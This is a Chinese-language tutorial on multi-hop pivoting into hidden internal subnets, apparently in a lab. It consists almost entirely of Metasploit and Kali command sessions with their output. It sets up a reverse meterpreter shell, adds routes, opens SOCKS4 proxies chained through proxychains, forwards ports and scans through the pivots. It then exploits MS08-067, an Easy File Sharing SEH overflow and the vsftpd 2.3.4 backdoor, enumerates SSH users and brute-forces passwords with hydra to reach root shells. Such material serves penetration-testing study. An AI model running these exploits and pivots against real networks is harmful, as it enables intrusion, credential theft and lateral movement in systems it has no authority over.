多重轉發滲透隱藏內網
作者：quanyechavshuo
今天本文講解關于多重轉發滲透隱藏內網的實例。
一、About
內網機器如下：
說明:
1)Attacker為攻擊者,有一個網卡,網段為172.16.0.0,Attacker系統為kali系統
2)RD為第一個已經滲透的目標,有兩塊網卡,對應172.16.0.0和7.7.7.0兩個網段
3)JC有兩塊網卡,對應7.7.7.0和8.8.8.0兩個網段,JC有ms08-067和efs bof兩個漏洞,可getshell
4)SK有一塊網卡,對應8.8.8.0網段,SK有vsftpd的漏洞,可getshell
5)起初Attacker只拿到RD的msf的shell,對于目標內網情況一無所知,也不知道存在7.7.7.0和8.8.8.0這兩個隱藏的網段
6)目標是準備通過RD來滲透內網中7.7.7.0和8.8.8.0兩個隱藏的網段
二、Step1
Attacker在RD上通過webshell運行了一個reverse類型的后門,然后操作如下:
- msf > use exploit/multi/handler
- msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
- payload => windows/meterpreter/reverse_tcp
- msf exploit(handler) > set LHOST 172.16.0.20
- LHOST => 172.16.0.20msf exploit(handler) > set LPORT 1234
- LPORT => 1234msf exploit(handler) > run
- [*] Started reverse TCP handler on 172.16.0.20:1234
- [*] Starting the payload handler...
- [*] Sending stage (957487 bytes) to 172.16.0.11
- [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162)meterpreter > ifconfig
- Interface 1============
- Name : Software Loopback Interface 1Hardware MAC : 00:00:00:00:00:00MTU : 4294967295IPv4 Address : 127.0.0.1IPv4 Netmask : 255.0.0.0IPv6 Address : ::1IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
- Interface 11============
- Name : Intel(R) PRO/1000 MT Desktop Adapter
- Hardware MAC : 08:00:27:e1:3f:af
- MTU : 1500IPv4 Address : 172.16.0.11IPv4 Netmask : 255.255.255.0Interface 19============
- Name : Intel(R) PRO/1000 MT Desktop Adapter #2Hardware MAC : 08:00:27:7f:3c:fe
- MTU : 1500IPv4 Address : 7.7.7.11IPv4 Netmask : 255.255.255.0
三、Step2
發現RD有兩塊網卡后,想辦法滲透另一個網段7.7.7.0,首先要添加路由[不添加路由也可以直接用meterpreter shell中的模塊訪問 到7.7.7.x網段,添加路由的目的是為了使得msf模塊可以訪問到7.7.7.x網段],meterpreter shell可以訪問到7.7.7.x網段,msf 中的模塊不能訪問到7.7.7.x網段,msf中的模塊所處的ip是攻擊者的ip,meterpreter shell所處的ip是RD的ip.在meterpreter中 添加路由的目的是為了給msf模塊作代理,也即給Attacker作代理,但是只能給Attacker的msf模塊作代理,要想給Attacker的其他 應用程序作代理,則需要在meterpreter添加路由后再運行msf的開啟sock4的模塊,然后再用proxychains來設置Attacker的其他 應用程序的代理為msf的開啟sock4代理模塊中設置的代理入口。
操作如下:
- meterpreter > run autoroute -s 7.7.7.0/24[*] Adding a route to 7.7.7.0/255.255.255.0...
- [+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11[*] Use the -p option to list all active routes
- meterpreter > run autoroute -p
- Active Routing Table
- ====================
- Subnet Netmask Gateway
- ------ ------- ------- 7.7.7.0 255.255.255.0 Session 2meterpreter >
然后開始掃描7.7.7.0網段,操作如下:
- meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24[*] Running module against DISCORDIA
- [*] ARP Scanning 7.7.7.0/24[*] IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS)
- [*] IP 7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS)
- [*] IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS)
- [*] IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS)
- meterpreter >
arp_scanner不太夠用,不能掃到端口信息[此時也可用msf自帶的其他可以掃描端口的模塊如auxiliary/scanner/portscan/tcp來掃 描,因為前面添加了路由,使得msf中的模塊可以用meterpreter作為代理訪問到7.7.7.x網段],于是用Attacker本機的nmap來掃[可以 更完全的掃描,nmap應該比msf中的掃描模塊強大],首先在RD上開sockets4代理,然后用proxychains設置nmap的代理為msf模塊開 啟的Attacker的1080端口提供的代理,操作如下:
- meterpreter > background
- [*] Backgrounding session 2...
- msf > use auxiliary/server/socks4a
- msf auxiliary(socks4a) > show options
- Module options (auxiliary/server/socks4a):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- SRVHOST 0.0.0.0 yes The address to listen on
- SRVPORT 1080 yes The port to listen on.
- Auxiliary action:
- Name Description
- ---- -----------
- Proxy
- msf auxiliary(socks4a) > set srvhost 172.16.0.20
- srvhost => 172.16.0.20msf auxiliary(socks4a) > run
- [*] Auxiliary module execution completed
- [*] Starting the socks4a proxy server
- msf auxiliary(socks4a) > netstat -antp | grep 1080
- [*] exec: netstat -antp | grep 1080
- tcp 0 172.16.0.20:1080 0.0.0.0:* LISTEN 3626/ruby
- msf auxiliary(socks4a) >
proxychains設置/etc/proxychains.conf如下:
- [ProxyList]# add proxy here ...# meanwile# defaults set to "tor"#socks4 127.0.0.1 9050socks4 172.16.0.20 1080
nmap掃描如下:
- root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20ProxyChains-3.1 (http://proxychains.sf.net)Starting Nmap 7.25BETA1 ( https://nmap.org )|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
- Nmap scan report for 7.7.7.20Host is up (0.17s latency).
- PORT STATE SERVICE VERSION
- 22/tcp open ssh Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0)80/tcp closed http Easy File Sharing Web Server httpd 6.9
- 135/tcp open msrpc Microsoft Windows RPC
- 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
- 445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
- Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003
- Host script results:
- | smb-vuln-ms08-067:
- | VULNERABLE:
- | Microsoft Windows system vulnerable to remote code execution (MS08-067)| State: VULNERABLE
- | IDs: CVE:CVE-2008-4250
- | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
- | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
- | code via a crafted RPC request that triggers the overflow during path canonicalization.
- |
- | Disclosure date: 2008-10-23
- | References:
- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250|_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspxService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds
- root@kali:~#
現在發現了7.7.7.20(JC)這臺機器端口開放比較多,嘗試找出JC的漏洞,操作如下: 首先看看JC的80端口運行了什么cms,但是Attacker的瀏覽器直接訪問http://172.16.0.20會無法訪問,因為Attacker的網段與JC 不在同一網段,此處有個要注意的內容:
Attention:可以選擇使用proxychains設置Attacker的瀏覽器的代理為Attacker的1080端口的socks4代理入口,也可通過在RD的meterpreter會 話中運行portfwd模塊命令,portfwd命令如下:
- meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20[*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80meterpreter >
- meterpreter > portfwd listActive Port Forwards
- ====================
- Index Local Remote Direction
- ----- ----- ------ --------- 1 172.16.0.20:2323 7.7.7.20:80 Forward1 total active port forwards.
- meterpreter >
通過訪問Attacker的2323端口訪問JC的80端口,結果如下:
這里的portfwd模塊不只是名字上的端口轉發的意思,目前筆者認為portfwd相當于半個ssh正向代理加一個ssh反向代理組成的綜合命令,ssh正向反向代理可參考這里的理解 。ssh正向反向代理理解筆者認為portfwd命令之后Attacker可以通過訪問Attacker本身ip的2323端口進而訪問到JC的80端口期間發生了3件事。
1.RD訪問JC的80端口,這里相當于半個ssh正向代理
2.RD綁定已經訪問到的JC的80端口的數據到Attacker的2323端口,這里相當于一個ssh反向代理,相當于RD有Attacker的ssh權限
3.攻擊者的瀏覽器訪問攻擊者自己的172.16.0.20:2323
portfwd的用法如下:
- meterpreter > portfwd -h
- Usage: portfwd [-h] [add | delete | list | flush] [args]
- OPTIONS:
- -L >opt> The local host to listen on (optional).
- -h Help banner.
- -l >opt> The local port to listen on.
- -p >opt> The remote port to connect on.
- -r >opt> The remote host to connect on.
- meterpreter >
其中-L只能設置為攻擊者的ip,不能設置為肉雞的ip,-L設置的ip可以是攻擊者的內網ip,-r也可以是目標的內網ip,兩個內網之 間通過meterpreter會話的"隧道"來連通,如果-L后設置的ip是攻擊者的內網ip,-r后設置的是目標機器的內網ip,portfwd通過 meterpreter會話連通兩臺,-l是指攻擊者的監聽端口,運行完上面的portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 命令后,Attacker的2323端口將變成監聽狀態(也即Attacker會開啟2323端口) 這里還要注意route add命令只能是在meterpreter會話中有效,不能系統全局有效,筆者認為route add也是通過meterpreter會 話的"隧道"來實現攻擊者能夠訪問目標機器其他網段機器的,也即在上面的Attacker通過portfwd來實現訪問目標機器其他網段 機器而不能因為在portfwd模塊運行前由于已經運行了route add模塊而由Attacker的瀏覽器直接訪問目標7.7.7.20:80,因為 route add只會給msf的模塊提供meterpreter會話通道作為代理服務,只有meterpreter會話下可用的模塊可以直接訪問7.7.7.x 網段,Attacker的瀏覽器想直接訪問7.7.7.20需要使用proxychins和msf開啟的sock4代理.
上面訪問得到目標機器JC的80端口信息看出JC運行的是Eash File Sharing Web Server,可用msf中的模塊嘗試getshell,操作如 下(如果沒有在meterpreter中添加路由msf是訪問不到7.7.7.20的):
- msf > use exploit/windows/http/easyfilesharing_seh
- msf exploit(easyfilesharing_seh) > show options
- Module options (exploit/windows/http/easyfilesharing_seh):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOST yes The target address
- RPORT 80 yes The target port
- Exploit target:
- Id Name
- -- ----
- 0 Easy File Sharing 7.2 HTTP
- msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20
- rhost => 7.7.7.20msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp
- payload => windows/meterpreter/bind_tcp
- msf exploit(easyfilesharing_seh) > run
- [*] Started bind handler
- [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit...
- [+] 7.7.7.20:80 - Exploit Sent
- [*] Sending stage (957999 bytes) to 7.7.7.20
- [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300
或者從JC(7.7.7.20)22端口入手:
- msf > use auxiliary/scanner/ssh/ssh_enumusers
- msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20rhosts => 7.7.7.20msf auxiliary(ssh_enumusers) > set rport 22rport => 22msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt
- user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt
- msf auxiliary(ssh_enumusers) > run
- [*] 7.7.7.20:22 - SSH - Checking for false positives
- [*] 7.7.7.20:22 - SSH - Starting scan
- [+] 7.7.7.20:22 - SSH - User 'admin' found
- [-] 7.7.7.20:22 - SSH - User 'root' not found
- [-] 7.7.7.20:22 - SSH - User 'Administrator' not found
- [+] 7.7.7.20:22 - SSH - User 'sysadm' found
- [-] 7.7.7.20:22 - SSH - User 'tech' not found
- [-] 7.7.7.20:22 - SSH - User 'operator' not found
- [+] 7.7.7.20:22 - SSH - User 'guest' found
- [-] 7.7.7.20:22 - SSH - User 'security' not found
- [-] 7.7.7.20:22 - SSH - User 'debug' not found
- [+] 7.7.7.20:22 - SSH - User 'manager' found
- [-] 7.7.7.20:22 - SSH - User 'service' not found
- [-] 7.7.7.20:22 - SSH - User '!root' not found
- [+] 7.7.7.20:22 - SSH - User 'user' found
- [-] 7.7.7.20:22 - SSH - User 'netman' not found
- [+] 7.7.7.20:22 - SSH - User 'super' found
- [-] 7.7.7.20:22 - SSH - User 'diag' not found
- [+] 7.7.7.20:22 - SSH - User 'Cisco' found
- [-] 7.7.7.20:22 - SSH - User 'Manager' not found
- [+] 7.7.7.20:22 - SSH - User 'DTA' found
- [-] 7.7.7.20:22 - SSH - User 'apc' not found
- [+] 7.7.7.20:22 - SSH - User 'User' found
- [-] 7.7.7.20:22 - SSH - User 'Admin' not found
- [+] 7.7.7.20:22 - SSH - User 'cablecom' found
- [-] 7.7.7.20:22 - SSH - User 'adm' not found
- [+] 7.7.7.20:22 - SSH - User 'wradmin' found
- [-] 7.7.7.20:22 - SSH - User 'netscreen' not found
- [+] 7.7.7.20:22 - SSH - User 'sa' found
- [-] 7.7.7.20:22 - SSH - User 'setup' not found
- [+] 7.7.7.20:22 - SSH - User 'cmaker' found
- [-] 7.7.7.20:22 - SSH - User 'enable' not found
- [+] 7.7.7.20:22 - SSH - User 'MICRO' found
- [-] 7.7.7.20:22 - SSH - User 'login' not found
- [*] Caught interrupt from the console...
- [*] Auxiliary module execution completed
- ^C
- msf auxiliary(ssh_enumusers) >
然后用hydra本地用msf模塊開啟的1080端口的sock4代理嘗試爆破:
- root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4
- ProxyChains-3.1 (http://proxychains.sf.net)
- Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
- Hydra (http://www.thc.org/thc-hydra) starting
- [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
- [DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task
- [DATA] attacking service ssh on port 22
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK<><>-OK<><>-OK<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- [22][ssh] host: 7.7.7.20 login: admin password: 123456
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- 1 of 1 target successfully completed, 1 valid password found
- Hydra (http://www.thc.org/thc-hydra) finished
- root@kali:~#
發現有可用帳戶密碼admin:123456,然后再用sock4代理ssh登錄:
- root@kali:~# proxychains ssh admin@7.7.7.20
- ProxyChains-3.1 (http://proxychains.sf.net)
- |D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established.
- ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ.
- Are you sure you want to continue connecting (yes/no)? yes
- Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts.
- admin@7.7.7.20's password:
- bvshell:/C/Documents and Settings/All Users$ pwd
- /C/Documents and Settings/All Users
- bvshell:/C/Documents and Settings/All Users$ dir
- 2016-12-24 21:32 <DIR> Application Data
- 2016-12-25 06:16 <DIR> Desktop
- 2016-12-24 18:36 <DIR> Documents
- 2016-12-24 18:37 <DIR> DRM
- 2016-12-24 21:32 <DIR> Favorites
- 2016-12-24 18:38 <DIR> Start Menu
- 2016-12-24 21:32 <DIR> Templates
- 0 Files 0 bytes
- 7 Directories
- bvshell:/C/Documents and Settings/All Users$
或者用ms08067:
- msf > use exploit/windows/smb/ms08_067_netapi
- msf exploit(ms08_067_netapi) > show options
- Module options (exploit/windows/smb/ms08_067_netapi):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOST yes The target address
- RPORT 445 yes The SMB service port
- SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
- Exploit target:
- Id Name
- -- ---- 0 Automatic Targeting
- msf exploit(ms08_067_netapi) > set rhost 7.7.7.20rhost => 7.7.7.20msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
- payload => windows/meterpreter/bind_tcp
- msf exploit(ms08_067_netapi) > show options
- Module options (exploit/windows/smb/ms08_067_netapi):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOST 7.7.7.20 yes The target address
- RPORT 445 yes The SMB service port
- SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
- Payload options (windows/meterpreter/bind_tcp):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
- LPORT 4444 yes The listen port
- RHOST 7.7.7.20 no The target address
- Exploit target:
- Id Name
- -- ---- 0 Automatic Targeting
- msf exploit(ms08_067_netapi) > run
- [*] Started bind handler
- [*] 7.7.7.20:445 - Automatically detecting the target...
- [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
- [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English
- [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX)
- [*] 7.7.7.20:445 - Attempting to trigger the vulnerability...
- [*] Sending stage (957999 bytes) to 7.7.7.20[*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444)
- meterpreter >
成功溢出getshell后查看JC(7.7.7.20)網卡信息:
- meterpreter > ipconfigInterface 1============Name : MS TCP Loopback interfaceHardware MAC : 00:00:00:00:00:00MTU : 1520IPv4 Address : 127.0.0.1Interface 65539============Name : Intel(R) PRO/1000 MT Desktop AdapterHardware MAC : 08:00:27:29:cd:cbMTU : 1500IPv4 Address : 8.8.8.3IPv4 Netmask : 255.255.255.0Interface 65540============Name : Intel(R) PRO/1000 MT Desktop Adapter #2Hardware MAC : 08:00:27:e3:47:43MTU : 1500IPv4 Address : 7.7.7.20IPv4 Netmask : 255.255.255.0meterpreter >
發現又出現一個8.8.8.x的網段,于是將這個網段添加路由,以便msf中的模塊可以訪問到8.8.8.x網段.
四、Step3
先直接用新的meterpreter shell看看8.8.8.x這個網段有什么機器
- meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24[*] Running module against SRV03[*] ARP Scanning 8.8.8.0/24[*] IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS)[*] IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN)[*] IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS)[*] IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS)
為了讓msf中所有模塊都能訪問到8.8.8.x網段,在新的meterpreter會話中添加路由:
- meterpreter > run autoroute -s 8.8.8.0/24[*] Adding a route to 8.8.8.0/255.255.255.0...[+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20[*] Use the -p option to list all active routes
為了讓Attacker的除了msf模塊以外的其他應用程序能訪問到8.8.8.x網段,再使用msf的開啟sock4代理的模塊開啟另外一個端口 作為8.8.8.x網段的入口:
- msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a
- msf auxiliary(socks4a) > show options
- Module options (auxiliary/server/socks4a):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- SRVHOST 172.16.0.20 yes The address to listen on
- SRVPORT 1080 yes The port to listen on.
- Auxiliary action:
- Name Description
- ---- -----------
- Proxy
- msf auxiliary(socks4a) > set SRVPORT 1081SRVPORT => 1081msf auxiliary(socks4a) > run
- [*] Auxiliary module execution completed
- [*] Starting the socks4a proxy server
- msf auxiliary(socks4a) >
也即現在Attacker本地的1080端口的代理可以訪問到7.7.7.x網段,1081端口的代理可以訪問到8.8.8.x網段,然后將新開的端口 添加到proxychains的配置文件中:
- root@kali:~# cat /etc/proxychains.conf | grep -v "#"dynamic_chainproxy_dns tcp_read_time_out 15000tcp_connect_time_out 8000socks4 172.16.0.20 1080 # First Pivotsocks4 172.16.0.20 1081 # Second Pivot
上面的兩個代理相當于扇門的鑰匙,172.16.0.20:1080是7.7.7.x的鑰匙,172.16.0.20:1081是7.7.7.x后面的8.8.8.x的鑰匙 ,Attacker要想訪問到8.8.8.x可以通過先打開7.7.7.x的門,再打開8.8.8.x的門(因為8.8.8.x這個門在7.7.7.x這個門之后)
使用Attacker本地的nmap掃描下8.8.8.x網段:
- root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vvProxyChains-3.1 (http://proxychains.sf.net)Starting Nmap 7.25BETA1 ( https://nmap.org )Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).NSE: Loaded 36 scripts for scanning.
- Initiating Connect Scan
- Scanning 8.8.8.9 [4 ports]
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK
- Discovered open port 21/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK
- Discovered open port 23/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK
- Discovered open port 22/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
- Discovered open port 80/tcp on 8.8.8.9Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports)Initiating Service scan at 05:54
- Scanning 4 services on 8.8.8.9
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
- Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host)NSE: Script scanning 8.8.8.9.
- NSE: Starting runlevel 1 (of 2) scan.
- Initiating NSE at 05:54
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
- Completed NSE at 05:54, 1.71s elapsed
- NSE: Starting runlevel 2 (of 2) scan.
- Initiating NSE at 05:54
- Completed NSE at 05:54, 0.00s elapsed
- Nmap scan report for 8.8.8.9
- Host is up, received user-set (0.41s latency).
- Scanned
- PORT STATE SERVICE REASON VERSION
- 21/tcp open ftp syn-ack vsftpd 2.3.4
- 22/tcp open ssh syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)23/tcp open telnet syn-ack Linux telnetd
- 80/tcp open http syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2)
- Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
- Read data files from: /usr/bin/../share/nmap
- Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds
- root@kali:~#
發現8.8.8.9(SK)這臺機器可能有漏洞,用msf模塊嘗試getshell:
- msf > msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 21 yes The target portExploit target: Id Name -- ---- 0 Automaticmsf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9rhost => 8.8.8.9msf exploit(vsftpd_234_backdoor) > run[*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4)[*] 8.8.8.9:21 - USER: 331 Please specify the password.[+] 8.8.8.9:21 - Backdoor service has been spawned, handling...[+] 8.8.8.9:21 - UID: uid=0(root) gid=0(root)[*] Found shell.[*] Command shell session 4 opened (Local Pipe -> Remote Pipe) pwd/iduid=0(root) gid=0(root)ifconfigeth0 Link encap:Ethernet HWaddr 08:00:27:56:f1:7c inet addr:8.8.8.9 Bcast:8.8.8.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:10843 errors:0 dropped:0 overruns:0 frame:0 TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1081842 (1.0 MB) TX bytes:661455 (645.9 KB) Base address:0xd010 Memory:f0000000-f0020000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:18161 errors:0 dropped:0 overruns:0 frame:0 TX packets:18161 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:5307479 (5.0 MB) TX bytes:5307479 (5.0 MB)
責任編輯：趙寧寧
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